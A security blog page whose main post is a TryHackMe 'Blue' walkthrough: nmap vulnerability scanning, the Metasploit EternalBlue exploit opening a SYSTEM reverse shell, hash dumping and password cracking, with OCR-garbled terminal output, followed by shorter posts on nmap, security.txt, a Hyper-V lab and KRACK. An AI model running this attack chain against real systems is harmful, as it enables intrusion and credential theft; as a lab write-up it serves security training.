Wednesday, December 22, 2021

Hacking Windows using Eternalblue - [THM] Walk-through

In 2017 the EternalBlue exploit was leaked to the public by a hacker group known as the Shadow Brokers. EternalBlue is a software vulnerability in Microsoft's Windows operating system Server Messaging Block (SMB) protocol, specifically SMBv1, and also happens to be the name of the exploit that the Shadow Brokers claim was developed and weaponized by the National Security Agency (NSA) to take advantage of this vulnerability.

This walk-through will demonstrate how EternalBlue can be leveraged to exploit the EternalBlue vulnerability in the Windows SMB protocol allowing an attacker to manipulate flaws to remotely execute code, gain access, and elevate privileges on the remote target. 

Enumerate the target 

We begin by enumerating our target using rustscan. RustScan is an open-source scanning tool, written in the Rust language, that works with Nmap but turns a 17 minute Nmap scan into about 60 seconds give or take. Either way it is much faster. The -- in the command signifies the end of rust commands and the beginning of Nmap scripts command. In this case we are running Nmap's "vuln" script.

File Actions 
rustscan - 
Edit 
View 
root@kali: — 
Help 
-script 
vuln 10.10.22.224 
The argument 
' —addresses <addresses> ' 
requires a value but none was supplied 
—addresses <addresses> . . 
rustscan 
ripts <scripts> 
—timeout <timeout> 
—batch-size <batch-size> 
—scan-order <scan-order> 
For more information try 
--help 
Ct rustscan - 
10.10.22.244 
—tries <tries> 
sc -- script 
vuln 
The Modern Day Port Scanner. 
https://discord . gg/GFrQsGy 
https://github . com/RustScan/RustScan 
@ https://admin.tryhackme.com

 File Actions Edit View 
Help 
PORT 
135/tcp 
139/tcp 
445/tcp 
STATE 
open 
open 
open 
SERVICE 
msrpc 
netbios-ssn 
microsoft-ds 
ms-wbt-server 
unknown 
unknown 
unknown 
unknown 
unknown 
REASON 
3389/tcp open 
sslv2-drown : 
49152/tcp open 
49153/tcp open 
49154/tcp open 
49158/tcp open 
49160/tcp open 
syn 
syn 
syn 
syn 
syn 
syn 
syn 
syn 
syn 
-ack 
-ack 
-ack 
-ack 
-ack 
-ack 
-ack 
-ack 
-ack 
tt1 
ttl 
ttl 
tt1 
tt1 
ttl 
ttl 
ttl 
ttl 
125 
125 
125 
125 
125 
125 
125 
125 
125 
Host script results: 
samba-vuln-cve-2012-1182: NT STATUS 
smb-vuln-ms10-054: false 
smb-vu1n-ms10-061: NT STATUS ACCESS 
smb-vuln-ms17-010: 
VULNERABLE: 
ACCESS DENIED 
DENIED 
Remote Code Execution vulnerability in Microsoft SM8v1 servers (ms17-010) 
state: VULNERABLE 
IDs : 
CVE:CVE-2017-0143 
Risk factor: HIGH 
A critical remote code execution vulnerability exists in Microsoft SM8v1 
servers (ms17-010) 
Disclosure date: 2017-03-14 
References: 
https : //blogs . technet . microsoft . com/msrc/2017/05/12/customer-guidance-for-wannacrypt-att 
acks/ 
https : //technet . microsoft . com/en-us/library/security/ms17-010. aspx 
https : //cve . mitre . org/cgi-bin/cvename . cgi?name=CVE-2017-0143

We can see from the output that the target system is listening on ports 139 (NetBIOS) and 445. Therefore, we can deduce that this system most likely has SMB running which we also confirmed using Nmap's vuln script as it identified that the target is indeed vulnerable to SMB remote code execution (RCE) vulnerability MS17-01.

Armed with this knowledge we can now move on to the...

Exploitation Phase

To start the exploitation phase we will fire up the Metasploit Framework (MSF) on our Kali attack system and execute a search for "eternal".

Nmap done: 1 IP address 
msfconsole 
d8P 
1 host up) 
scanned 
in 132.82 seconds 
c,ttsSb. 
d8P 
d8, 
d888888P 
d8bd8b.d8p 
d8888b 
d888b8b 
d8P 
88P 
d88 dB 88b 
88b 88b 
, 88b 
d88' d88b 8b'?8888P' 
metasploit v6.1.2-dev 
d8P 
d888888p 
88P 
. ossssss*' 
„=aaccaacc:: 
?88, .d88b, 
88b d8P 
888888P 
d88P 
d8P d8888b $whi?88b 88b 
d88 d8P' 88P 
88b d88 d88 
88b* 
, , ass; ; 
2159 exploits 
1147 auxiliary 
367 
594 payloads 
45 encoders 
10 nops 
8 evasion 
post 
Metasploit tip: Enable HTTP request and response logging 
with set HttpTrace true 
Starting persistent handler(s) 
msf6 > 

Starting persistent handler(s) 
msf6 > search eternal 
Matching Modules 
Disclosure 
# Name 
0 exploit/windows/smb/msl 7 _ 
2017-03-14 
01 Corruption 
2017-03-14 
2017-03-14 
2017-04-14 
Date 
mplon 
mplon 
exploi t/windows/smb/msl 
SMB Remote Windows Code Execution 
auxi liar y/ admin/ 
SMB Remote Windows Command Execution 
auxi liar y/ scanner/ smb/smb_msl 7 _ 010 
exploit/windows/smb/smb_doublepulsar_rce 
Rank 
average 
normal 
normal 
normal 
great 
use 
Check 
Yes 
Yes 
Yes 
Description 
MS17-010 —Blue SMS Remote Windows Kernel PO 
MS17-010 
MS17-010 
MS17-010 SMB RCE Detection 
SMS DOUBLEPULSAR Remote code Execution 
Interact with a module by name or index. For example 
msf6 > 
info 4, 
use 
exploit/windows/smb/smb_doublepulsar_rce 

The search provides us with several results. The first one is an SMB Remote Windows kernel pool corruption exploit. We will choose that one. Next, we run show options to see what we have to configure for the attack. Looks like we have to set the remote host (RHOST- victim) and the local host (LHOST -  attacker)

Name 
exp loi t/windows/ smb /msl 7 _ I u e 
Disclosure 
Date 
2017-03-14 
2017-03-14 
2017-04-14 
192.168. 73.129 
Rank 
average 
norma 
normal 
normal 
great 
Check 
Yes 
Yes 
Description 
MS17-010 —Blue SMS Remote Windows Kernel PO 
01 Corruption 
exp 01 win Ows sm ms 
_psexec 
omance 
ynergy 
mplon 
mplon 
SMB Remote Windows Code Execution 
auxi liar y/ admin/ 
SMB Remote Windows Command Execution 
auxi liar y/ scanner/ smb/ smb_msl 7 _ 010 
exploit/windows/smb/smb_doublepulsar_rce 
MS17-010 
MS17-010 SMB RCE Detection 
SMS DOUBLEPULSAR Remote code Execution 
Interact with a module by name or index. For 
example 
info 4, 
use 4 
use exploit/windows/smb/smb_doublepulsar_rce 
sf6 > use 0 
msf6 exploit( 
r/reverse_tcp 
Module options 
Name 
RHOSTS 
RPORT 
SMBDomain 
SMBPass 
SMBUser 
Current Setting Required 
VERIFY ARCH 
VERIFY TARGET 
445 
true 
true 
yes 
yes 
yes 
yes 
) > show options 
Description 
The target host(s), range CIDR identifier, or hosts file with syntax 
The target port (TCP) 
(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 targe 
t machines. 
(Optional) The password for the specified username 
(Optional) The username to authenticate as 
Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target ma 
chines. 
Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. 
Payload options (windows/x64/meterpreter/reverse_tcp)• 
Name 
EXITFUNC 
L HOST 
L PORT 
Current 
thread 
4444 
Setting 
Required Description 
yes 
yes 
yes 
010 
Exit technique (Accepted: 
seh, thread, process, 
The listen address (an interface may be specified) 
The listen port 
eternalblue 
none) 
Exploit target: 
Id Name 
0 Automatic Target 
msf6 

Our victim's IP address (RHOST) is 10.10.22.244, now we have to find out IP address (LHOST). 

10: mtu 65536 qdisc noqueue state UNKNOWN group default q1en 1000 
link/loopback øø:øø:øø:øo:øø:øø brd øo:øø:øo:øø:øø:øø 
,/8 scope host 10 
inet 
127.0.0.1 
valid_lft forever preferred_lft forever 
1/128 scope host 
inet6 
valid_lft forever preferred_lft forever 
ethø: mtu 1500 qdisc pfifo_fast state UP group default glen 1000 
link/ether brd 
/24 brd 
inet 
scope global dynamic noprefixroute etho 
192.168.73.129 
192.168. 73.255 
valid_lft 1511sec preferred_lft 1511sec 
/64 scope link noprefixroute 
inet6 
few 
tuna: mtu 1500 qdisc pfifo_fast state UNKNOWN group default glen 500 
link/none 
/17 scope global tunø 
inet 
10.13.24.52 
valid_lft forever preferred_lft forever 
/64 scope link stable-privacy 
inet6 
fe80 
valid_lft forever preferred_lft forever 

Next we configure and launch the exploit in MSF. The port settings (LPORT) will default to 4444.

File Actions Edit View Hel 
sf6 exploit(wumolDwguswOßwsy1_ 
lhost 10.13.24.52 
sf6 exploit( 
Ind0L•1s/smb/ms17 
rhost 10.10.22.224 
sf6 
010 
010 
010 
root@kali: — 
) > set lhost 10.13.24.52 
eternalblue 
) > set rhost 10.10.22.224 
eternalblue 
) > exploit 
eternalblue 
Started reverse TCP handler on 10.13.24.52:4444 
10.10.22.224:445 
10.10.22.224:445 
10.10.22.224:445 
10.10.22.224:445 
Using auxiliary/scanner/smb/smb_ms17_010 as check 
Rex :: ConnectionTimeout: The connection with ( 
Scanned 1 of 1 hosts (100% complete) 
The target is not vulnerable. 
1 .10.22.224:445) timed out. 
Exploit completed, but no session was created 
sf6 exploit(ll•——— 
) > set rhost 10.10.22.244 
rhost 10.10.22.244 
sf6 
) > exploit 
Started reverse TCP handler on 10.13.24.52:4444

The exploit runs and....Winner winner chicken dinner! The exploit was successful and we now have a reverse TCP shell as the NT System account.

msf6 exploit( 
rhost 10.10.22.244 
msf6 
10.10.22.244:445 
10.10.22.244 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244 
10.10.22.244 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244 
Started reverse TCP handler on 10.13.24.52. 
> set rhost 10.10.22.244 
> exploit 
• 4444 
ack 
10.10.22.244:445 
10.10.22.244:445 
(64-bit) 
1 x64 
:445 
:445 
:445 
:445 
:445 
Using auxiliary/scanner/smb/smb_ms17_010 as check 
Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service 
Scanned 1 of 1 hosts (100% complete) 
The target is vulnerable. 
Connecting to target for exploitation. 
Connection established for exploitation. 
Target OS selected valid for OS indicated by SMS reply 
CORE raw buffer dump (42 bytes) 
OXOOOOOOOO 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes 
73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 serv 
69 63 65 20 50 61 63 6b 20 31 
ice Pack 1 
Target arch selected valid for arch indicated by DCE/RPC reply 
Trying exploit with 12 Groom Allocations. 
Sending all but last fragment of exploit packet 
Starting non-paged pool grooming 
Sending SMBv2 buffers 
Closing SMBv1 connection creating free hole adjacent to SM8v2 buffer. 
Sending final SMBv2 buffers 
Sending last fragment of exploit packet! 
Receiving response from exploit packet 
ETERNALBLUE overwrite completed successfully (OXCOOOOOOD)! 
Sending egg to corrupted connection. 
Triggering free of corrupted buffer. 
sending stage (200262 bytes) to 10.10.22.244 
Meterpreter session 1 opened (10.13.24.52:4444 10.10.22.244:49169) at 2021-12-22 
-0500 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
meterpreter > whoami 
eter reter > getuid 
server username: NT AUTHORITY\SYSTEM 
eter reter > 
—WIN-

Although we landed in a meterpreter session we can us the shell command to get a Windows shell and run whoami to further validate we are NT AUTHORITY\SYSTEM. CNTRL-Z sends shell to background and brings us back to Meterpreter.

File Actions 
root@kali: — 
Edit View Help 
10.10.22. 
244:445 
10.10.22 
.244:445 
10.10.22 
.244:445 
10.10.22 
.244:445 
10.10.22 
.244:445 
10.10.22 
.244:445 
Sending final SMBv2 buffers. 
Sending last fragment of exploit packet! 
Receiving response from exploit packet 
ETERNALBLUE overwrite completed successfully (OXCOOOOOOD)! 
Sending egg to corrupted connection. 
Triggering free of corrupted buffer. 
sending stage (200262 bytes) to 10.10.22.244 
Meterpreter session 1 opened (10.13.24.52:4444 10.10.22.244:49169) at 2021-12-22 
-0500 
10.10.22.244:445 
10.10.22.244:445 
10.10.22.244:445 
meterpreter > whoami 
Unknown command: whoami 
meterpreter > getuid 
server username: NT AUTHORITY\SYSTEM 
meterpreter > shell 
Process 2676 created. 
Channel 1 created. 
Microsoft Windows [Version 6.1.7601] 
Copyright (c) 2009 Microsoft Corporation. 
C: \Windows\system32>whoami 
who ami 
nt authority\system 
Background channel 1? [y/N] 
meter r eter > s 
- —WIN- 
All rights reserved. 

Privilege Escalation 

Just because we are system doesn't mean our process is. So we want to find a process  that is running at NT AUTHORITY\SYSTEM. We executed the "ps" command and see that winlogon.exe runs as system. We use the "migrate" command to migrate to the winlogon.exe process. Now that we are sure that we are in an elevated Meterpreter shell we will execute a hashdump to dump the non-default user's password and crack it.

meterpreter > migrate 1288 
Process already running at PID 1288 
meterpreter > migrate -N winlogon.exe 
Migrating from 1288 to 608 
Migration completed successfully 
meterpreter > hasdump 
Unknown command: hasdump 
meterpreter > hashdump 
Administrator : 500 : aad3b435b51404eeaad3b435b51404ee : 31d6cfe0d16ae931b73c59d7eøc089c 
Guest : 501 : aad3b435b51404eeaad3b435b51404ee : 31d6cfe0d16ae931b73c59d7eoc089co : : : 
Jon : 1000 : aad3b435b51404eeaad3b435b51404ee : 
ffb43f0de35be4dQQ17acøccaad57f8d: 
meterpreter > 

Once we have the hash for "Jon" there are a couple of ways to go about cracking the password. For the first way we can use a site called CrackStation

 

Another way to crack the password would be to use a tool that is local to our Kali attack box. The tool is John the Ripper. 

/ home/ ka i 'Des ktop/THM/bI ue 
ion. hash 
format-NT --wordlist=/opt/rockyou. txt 
Created directory: /root/ . john 
Using default input encoding: UTF-8 
oaded 1 password hash (NT [MD4 128/128 xop 4x2]) 
Warning: no OpenMP support for this hash type, consider 
fopen: /opt/rockyou.txt: No such file or directory 
/ home/ ka i 'Des ktop/THM/bI ue 
rockyou . txt 
—fork-4 
/usr/share/seclists/passwords/Leaked-Databases/rockyou . txt . tar . gz 
/usr/share/wordlists/rockyou . txt 
/ home/ ka i 'Des ktop/THM/bI ue 
ion. hash 
-format-NT 
wordlist=/usr/share/wordlists/rockyou . txt 
Using default input encoding: UTF-8 
oaded 1 password hash (NT [MD4 128/128 xop 4x2]) 
Warning: no OpenMP support for this hash type, consider 
—fork-4 
Press 'q' or Ctrl-C to abort, almost any other key for status 
(Jon) 
alqfna22 
lg DONE (2021-12-22 11:08) 0.9009g/s 9189Kp/s 9189Kc/s 9189KC/s alqmzp12 alpusidi 
Use the 
—show —format-NT" options to display all of the cracked passwords reliably 
Session completed 
/ home/ ka i 'Des ktop/THM/bI ue 
ion. hash 
-format-NT 
- wordlist=/usr/share/wordlists/rockyou . txt 
Invalid options combination or duplicate option: 
—show" 
/ home/ ka i 'Des ktop/THM/bI ue 
ion. hash 
-format-NT 
- show 
- show 
Jon : alqfna22 : 1000 : aad3b435b51404eeaad3b435b51404ee : ffb43f0de35be4d9917acøcc8ad57f8d : : : 
1 password hash cracked, 0 left 
/ home/ ka i 'Des ktop/THM/bI ue

Now that we have cracked the password it is time to capture the flags. All the flags on TryHackMe have a clue as to where they are located. The clue for the first flag is that it can be found at the system root. 

pmeterpreter > pwd 
c:\ 
meterpreter > Is 
Listing: C: \ 
Mode 
40777/ rwxrwxrwx 
40777/ rwxrwxrwx 
40777/ rwxrwxrwx 
40555/r-xr-xr-x 
40555/r-xr-xr-x 
40777/ rwxrwxrwx 
40777/ rwxrwxrwx 
40777/ rwxrwxrwx 
r-xr-xr-x 
40777/ rwxrwxrwx 
100666/rw-rw-rw- 
0000/ 
Size 
4096 
4096 
4096 
4096 
16384 
24 
Type 
dir 
dir 
dir 
dir 
dir 
dir 
dir 
dir 
dir 
fil 
fif 
Last 
modified 
2009-07-13 
2009-07-14 
2009-07-13 
2009-07-13 
2009-07-13 
2009-07-13 
2018-12-12 
2018-12-12 
2009-07-13 
2018-12-12 
1969-12-31 
23:18:56 
22:13:22 
18:01:17 
-0400 
-0400 
-0400 
-0400 
-0400 
-0400 
-0500 
-0500 
-0400 
-0500 
-0500 
Name 
$Recycle . Bin 
Documents and Settings 
PerfLogs 
Program Files 
Program Files (x86) 
ProgramData 
Recovery 
System Volume Information 
sers 
Windows 
flagl. txt 
pagefile.sys

Flag2? This flag can be found at the location where passwords are stored within Windows.

100666/rw-rw-rw- 
2019-03-17 
40777/ rwxrwxrwx 
2009-07-13 
100666/rw-rw-rw- 
2018-12-12 
40777/ rwxrwxrwx 
2009-07-13 
eter reter > 
524288 
4096 
34 
4096 
fil 
dir 
fil 
dir 
18:21:15 
23:20:10 
22 
23:20:10 
-0400 
-0400 
-0500 
-0400 
SYSTEM{016888cd-6c6f-11de-8d1d-001e0bcde3ec 
} . TMcontainer00000000000000000002. regtrans- 
flag2. txt 
eter reter > pwd 
eter reter >

flag3? This flag can be found in an excellent location to loot. After all, Administrators (our "Jon" account is a local admin) usually have pretty interesting things saved.

meterpreter > cd Documents 
meterpreter > Is 
Listing: C: \Users\Jon\Documents 
Mode 
40777/ rwxrwxrwx 
40777/ rwxrwxrwx 
40777/ rwxrwxrwx 
100666/rw-rw-rw- 
100666/rw-rw-rw- 
Size 
402 
37 
Type 
dir 
dir 
dir 
fil 
fil 
Last 
modified 
2018-12-12 
2018-12-12 
2018-12-12 
2018-12-12 
2018-12-12 
22:13:31 
22:13:31 
22:13:31 
22 
22 
-0500 
-0500 
-0500 
-0500 
-0500 
Name 
My Music 
My Pictures 
My Videos 
flag3. txt 
eter reter > pwd 
: \Users\Jon\Documents 
eter reter >


Finally and easier way to find the flags using the Windows command line would be to cd to the top-level drive and run the following command C:\ dir /s *flag* this will show you the location of all the flags.


I appreciate you taking the time to read through and comment on this walk-through. I have taken you all the way to the point of locating the flags. I will leave it up to you to figure out the last step. How to read them #tryharder ;-). Thanks again! and until next time...Happy Hunting!






Tuesday, March 27, 2018

Nmap: Use the -sn, - -top-ports, and -sV options to Identify Active Hosts and Vulnerable Services



If you are just starting out in cybersecurity and considering the area of penetration testing (Red Teaming) you may be wondering how do pentesters (or attackers for that matter) know what ports are open on a system? Or how do they identify what services are running on a particular system? If you are considering a career in cybersecurity, particularly related to network security or penetration testing then there is a handy little tool that you should become familiar with. That tool is Nmap. 

Nmap is a free and open source network scanning utility that has many uses that include basic network scanning, identifying what services a host is running, "fingerprinting" both the operating system and applications that are on a host, vulnerability scanning and much more. In this tutorial, I will cover at a high level some of the basics of using Nmap. Utilizing its command-line interface (CLI) (it does have a GUI) I will provide some examples that you can use quickly as a beginning security professional.

One of the first and most basic scans you can do with Nmap is to execute a ping sweep (-sn) scan. This type of scan is used to attempt to identify active hosts that are up on the network.
Fig. 1 nmap -sn 

Another useful scanning technique is to utilize the --top-ports tag. From the Nmap website…
 
“The –top-ports option lets you specify the number of ports you wish to scan in each protocol and will pick the most popular ports for you based on the new frequency data. For both TCP and UDP, the top 10 ports get you roughly half of the open ports. The top 1,000 (out of 65,536) will find roughly 93% of the open TCP ports and more than 95% of open UDP ports.”

93%...I’ll take that any day! But for this particular example, we are only going to look for the top 10 TCP ports and we will only scan a range of ten hosts. Notice in the output that we scanned a range of ten hosts but only three responded. This is not uncommon. Also, notice the otherwise very interesting output. There are several services running that should be making you want to follow up with our next example.

Fig. 2 nmap -sT --top-ports=10

The last scan identified a hand full of services running on the three systems and a couple of them should look very interesting if you are a security professional. With that said, the last scan we will go over in this post will show you how to follow up on the previous scan. This next scan will attempt to identify the service versions (-sV) running on the hosts identified previously.

Fig. 3 nmap -sT -sV --top-ports=10 
At this point as a security professional, depending on which team you are playing for you will either be extremely excited or extremely worried. If you are a RED TEAMER then you are so excited and should be rushing to launch your exploitation tool of choice. But, if you are a BLUE TEAMER then you are probably, picking yourself up off of the floor and transitioning into more of an Incident Response mindset.

Thursday, October 26, 2017

SECURITY.TXT


While listening to a recent episode of Security Now Steve Gibson discussed some help that is on the way for securing web sites and services. I have not seen much mention of it anywhere else but I feel that it is definitely something worth noting.

When it comes to identifying security risks in web sites and services a major problem in the industry has been two-fold. First security researchers have been weary of testing the security of a sites and services because of legal action that may be taken against them and second when and if they do test a site, and they discover a vulnerability in the site or service, there often lacks a way to properly disclose the vulnerability to the developers. Because of the lack of disclosure options often the identified vulnerability just goes unreported and therefore remains out in the wild providing the adversary with many avenues and vulnerabilities to attack.

This is where a web developer and security researcher, Ed Foudil, and what he has submitted to the IETF, steps in to save the day. Mr. Foudil has graciously submitted to the IETF a draft that seeks to standardize SECURITY.TXT. According to securitytxt.org "The main purpose of the security.txt file is to help make things easier for companies and security researchers when trying to secure platforms. Thanks to security.txt, security researchers can easily get in touch with companies about security issues."

Security.txt is a simple text file, similar to a robot.txt file, located in the root directory of a website that defines a standard to help organizations define the process for security researchers to securely disclose security vulnerabilities that they have identified. Not only does this file provide you with the proper contact information but it also provides one with a secure way to transfer the information as outlined below taken from the draft IETF which can be read HERE

2.4.  Encryption:
   This directive allows you to add your key for encrypted
   communication.  You MUST NOT directly add your PGP key.  The value
   MUST be a link to a page which contains your key.  Keys SHOULD be
   loaded over HTTPS.
   <CODE BEGINS>
   Encryption: https://example.com/pgp-key.txt
   <CODE ENDS>

As Steve Gibson said "this is so simple it's brilliant" and should be applauded!

Monday, October 23, 2017

CYBER SECURITY LAB USING MICROSOFT HYPER-V PART 1


CYBER SECURITY LAB USING MICROSOFT HYPER-V
PART  1

This series of blog posts will outline the steps taken to stand up a cyber security lab using Microsoft's Hyper-V. This lab will be used for everything from running Kali LINUX penetration testing tools, offensive countermeasures and techniques using tools like Active Defense Harbinger Distribution, cyber forensics, and anything else that I may choose. I will be using a hosted Hyper-visor for the lab, Microsoft's Client Hyper-V running on Windows 10 Professional. Anyway, enough is enough let’s get started!

The first thing we have to do is to navigate to Control Panel -> All Control Panel Items  ->  Programs and Features.

Next enable the Hyper-V option


After Windows installs the Hyper-V feature you will need to reboot your host system. Once the host comes back up we will begin customizing some of the Hyper-V settings. The first setting that will be configured will be the Server settings. The server settings affect how the Hyper-V server functions.
The first server setting that we will configure is Virtual Hard Disks (VHD). The VHD setting identifies where on our host system the vhd (or vhdx) files will be stored.


After identifying where to store the vhd and vhx files we will do the same for Virtual Machines. On the left pane select Virtual Machines. This setting specifies the default folder to store vm configuration files.


Next is Physical GPUs. This setting determines whether or not VMs with have direct hardware access to any installed GPUs on our host system. This setting is not applicable to our environment so we will make sure that Use this GPU with RemoteFX is unchecked.


We will also leave the next setting, NUMA Spanning and Storage Migrations alone as it too is not applicable to our environment (if you want to know more about this setting you can read about it at https://technet.microsoft.com/en-us/library/dn282282(v=ws.11).aspx). We will also not be doing anything with the Storage Migrations setting as we really don’t have a need to move or migrate any VMs in our lab environment.

The final server setting, Enhanced Session Mode Policy, is one of the most import. You can find out more about it HERE but in a nutshell this setting provides functionality similar to the way RDP allows access to local resources and Enhanced Session Mode brings similar functionality using VMConnect. One needs to be very careful with this feature because this is where one can break segmentation and isolation between the VM host and the VMs in the lab setup. And since we will be using this lab for all sorts of nefarious things as a precaution we will NOT be enabling this feature. We can always enable it in the future should it be needed.


Finally, we have the User Settings. These are pretty straight forward and do not require any customizing. The only thing to check and verify is ensure that the Use enhanced session mode box is unchecked. Once complete click APPLY and then OK





Wednesday, October 18, 2017

DID SOMEBODY SAY KRACK?!


DID SOMEBODY SAY KRACK?!
What is KRACK?

KRACK is the acronym for Key Reinstallation Attacks.

Earlier this week it was revealed publicly that computer security researcher Mathy Vanhoef (@vanhoefm) had discovered a “serious weakness” in the Wi-Fi Protected Access 2 (WPA2) protocol. This is indeed important because WPA2 is by far the most popular encryption standard for Wi-Fi networks in use today and is pretty much the de facto standard for securing all Wi-Fi networks. Everything from home Wi-Fi to public hotspots up to enterprise wireless networks rely on the confidentiality and integrity provided by the WPA2 protocol.

How an attack using KRACK works?


The vulnerabilities identified by Vanhoef is in the Wi-Fi standard itself and not in any one individual product. This means that any attack that is successfully able to exploit these vulnerabilities will work against any properly configured WPA2 protected network.

The main attack vector is against the WPA2 protocol’s 4-way handshake. This handshake is performed when a client requests to join the targeted Wi-Fi network. The handshake is used to authorize a device, through a credentialing process, when connecting to an access point. At the same time, the 4-way handshake also negotiates a fresh encryption key that will be used to encrypt all traffic from the newly connected device.

Vanhoef explains the attack method at a high level on his site krackattacks.com. He states that “In a key reinstallation attack, the adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstalls the key, associated parameters such as the incremental transmit packet number (i.e. nonce) and receive packet number (i.e. replay counter) are reset to their initial value. Essentially, to guarantee security, a key should only be installed and used once. Unfortunately, we found this is not guaranteed by the WPA2 protocol. By manipulating cryptographic handshakes, we can abuse this weakness in practice”.

Is this the end of secure Wi-Fi?


For the sake of brevity, I will keep my answer short. Individuals and enterprises should be concerned but no this is not the end of secure WiFi...Yet.

For starters, Although Vanhoef shows that these exploits are possible they are still primarily academic, as there has yet to be seen an attack exploiting the recently disclosed vulnerabilities in the wild. It was noted by security architect Kevin Beaumont, on his blog, that there is currently no publicly available code to carry out the attack and that it would require an “incredibly high skill set” to execute this type of attack (KRACK). Additionally, it has been identified by other researchers that KRACK may require a threat actor to be in close proximity to the victim they are attempting to compromise. This greatly limits the potential for a widespread attack but it does leave the door open for more targeted attacks.

So, what are we to do?
                                                                       
First and foremost, the obvious. The first thing anyone should be doing is looking out for vendor patches. The bright side to all of this, if there is one, is that KRACK was first disclosed to vendors back in July (2017) and revealed to the Community Emergency Response Team (CERT) Communication Center as well. CERT then distributed a comprehensive exposure of KRACK back in August thus providing more than adequate time to vendors to prepare patches before disclosure to the public. As I sit here and prepare this post Microsoft has indicated that it has already patched the KRACK vulnerability. In a statement to The Verge Microsoft said “We have released a security update to address this issue. Customers who apply the update, or have automatic updates enabled, will be protected. We continue to encourage customers to turn on automatic updates to help ensure they are protected.”

At the enterprise level mitigations for KRACK attacks (or any type of eavesdropping) should start at the foundation with a secure design of the wireless infrastructure. This should include the use of range-limiting antennas, limiting signal output strength on radio cards, and placing wireless access points away from the exterior walls of buildings thus reducing the amount of wireless traffic that is sent outside of a buildings physical boundary. Another strong mitigation is the use of a VPN when not on a trusted Wi-Fi network. A VPN will protect the data in transit encrypting the connection between the device and the remote server. This will shield the data from anyone on the untrusted public network. Including an attacker that may be attempting to exploit KRACK.

Emerging Threat - The Rise of Quishing: Malicious QR Codes

    A QR code (short for Quick Response code) is a type of barcode that can be scanned by one’s smartphone camera. It stores data like tex...